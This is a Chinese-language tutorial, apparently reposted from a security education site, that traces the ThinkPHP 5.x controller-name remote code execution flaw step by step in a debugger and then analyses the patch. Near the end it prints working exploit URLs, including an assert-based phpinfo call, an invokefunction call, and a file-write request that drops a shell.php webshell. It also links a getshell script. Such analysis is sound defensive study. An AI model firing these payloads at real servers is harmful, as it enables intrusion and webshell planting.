ThinkPHP V5.0.5漏洞_ThinkPHP5丨远程代码执行漏洞动态分析

640

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性。但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。

这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括5.0和5.1版本。

那么今天i春秋用动态分析法来介绍远程代码执行,同时还能快速了解整个执行过程和一些变量参数,文章阅读用时约7分钟。

97fa879b0c4c905b2664572eb6a2a0d2.png

d66c7e21b386c302e99c8590f9005aed.png

01

环境

程序源码下载:

http://www.thinkphp.cn/download/967.html

Web环境:Windows 10 x64+PHPStudy 20018

调试工具:phpstorm+xdebug(用vscode也可以,我比较习惯用phpstorm)

因为我是从头分析到尾,所以要在设置里面勾上Break at first line in PHP script

e01288055a7a3289b43e225ff97c26ca.png

搭建就不多说了,放源码在根目录然后phpstudy启动!

02

漏洞复现

c021fa3c64a9129547c48fe7b707f96e.png

其实有很多利用的地方,到后面分析完再说。

03

漏洞分析

因为是从开始分析,也比较适合新手,就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉Break at first line in PHP script再下断点)。

有些不是重点的直接F7或者F8走下去,F7跟进Facade:

5512b78763e1b8d2a5cb87b694f6ff8e.png

到App.php初始化的地方,继续F8往下面走:

dacc2628749ab9e49ad05eb557a3f33b.png

到routeCheckF7跟进去:

06b4d1334ea31b0730af5acaf7e1ff67.png

到这里F7继续跟进去:

2364b9b365ba6f3f985e519cf6709ea4.png

有些没有必要的函数就直接F8跳过去,到pathinfo( )这里F7跟进去:

1f0232af3860d4e2b5daf4e37163a64d.png

我们可以分析一下这个·pathinfo函数的代码$this->config->get('var_pathinfo')这一句是从配置文件config/app.php获取的值:

e74ea6a6386bc8f4b17d0e2dd41574b5.png

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数,所以我们可利用$_GET['s']来传递路由信息。

public 

可以看到return $this->pathinfo;返回的内容:

4f08cc9b6f4ea5522d7e213d7b51b242.png

F7走,可以看到$pathinfo赋值给$this->path:

8ec974d15f0e13af95564db279a191d9.png

F7走到check的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了UrlDispatch对象,将$url传递给了构造函数。

a884c7ed52a06e9811cde64fd636cde2.png

再继续分析下去,中间有些不必要的直接F8走过就行了。可以看到将$url传递给了$action。

c2478073c903d9a7316a90d4dcf77c9a.png

F7走下去,跳回了App.php,可以看到$dispatch返回来的值代入dispatch方法。

f2c275cd64fa86dffc0e9cb1924a47b8.png

F7走进去,可以看到传入的$dispatch赋值给了$this->dispatch,不过现在分析这个版本是有改动的,有些版本是在这里用dispatch代入下面会分析到的parseUrl方法,这个版本的是用$this->action来parseUrl方法的,继续分析下去,下面会分析到的。

48cd2bff9db4fca4a04689488af79266.png

F7又返回了App.php的文件,可以看到执行调度这里$data = $dispatch->run( );,我们F7跟进去。

26d6b76bcd5c3e246aafcff17ebe9cd6.png

这里就是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;传过来的。

4eb8e06a67eda701bacb84c9a529358e.png

我们F7继续分析parseUrl方法,然后F8走到这里。

504e3d5300fbffef8531bddf62b36184.png

F7进到这个parseUrlPath方法里面,用/来分割[模块/控制器/操作]并存到$path数组里面。

private 

39db5d145995164349a64189420d8d1b.png

中间的继续F8往下走,返回的$route数组

3dfb90430148bf18e46bdeb8e7f57d4c.png

继续往下走,F7进去。

7fd8f6c969e1a85a28de00f83677aff1.png

可以看到:

thinkphp/library/think/route/Dispatch.php类这里的$this->action的值变了。

8d23487f9a56685f376f2ca25a46ac77.png

继续会走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action赋值给了$result。

7aaa93bacebcaf79db68f88550bdaa14.png

F8往下走,走到实例化控制器,这里的$controller是可控的,是由上面的$result[1]传过来的。

ffde451a5bf539ffd6a2e2f6729be71f.png

F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

23db779b71aed99830713a277b85d0bd.png

下面就是调用反射执行类的步骤了:

fa2ed3e9cf89bf7be75fed2040d3abbe.png

也可以往下看,这里是通过invokeMethod 函数动态调用方法的地方,可以看到$class是think\Requset的类,$method是input。

d331fd442d2307430565d261b3949891.png

后面就是把内容输出到浏览器的过程了

a807970d0976c909d76e2ecb55eb1aaf.png

04

漏洞分析回顾

开始我们分析pathinfo( )函数的时候得知可以用s来获取路由信息

parseUrlPath方法用来分割[模块/控制器/操作]格式

在后面传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类。

最后是反射函数,调用了input方法执行phpinfo( )

一定是要Request类里面的input方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1是下面这些:

\Loader 

5.0 的有:

\Route

两个版本公有的是:

\Route 

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

_user_func_array&vars[

这里也不写getshell的python脚本了 ,可以参考:

https://github.com/theLSA/tp5-getshell

05

补丁分析

下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入\think\app这种形式的控制器。

60dee46999fa6baa088796c2dad79e80.png

9c45c3b1c7539ee7f37d394fdf41b446.png

以上是今天的内容,大家看懂了吗?

新来的朋友如果想要了解其他的必备技能和实用工具,可以点击菜单栏中的入门锦囊查看相关内容:

3647e7dad659ac4e86f26306e5b97f6d.png

文章素材来源于i春秋社区

9e4cbc4193777e3d22a2ab71558f35fb.png

i春秋官方公众号为大家提供

前沿的网络安全技术

简单易懂的实用工具

紧张刺激的安全竞赛

还有网络安全大讲堂

更多技能等你来解锁

ff8bb034ba6627682545dd2ddb2edec4.png

2d7aa3be02e625291bd1fd1dafe3a0fc.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值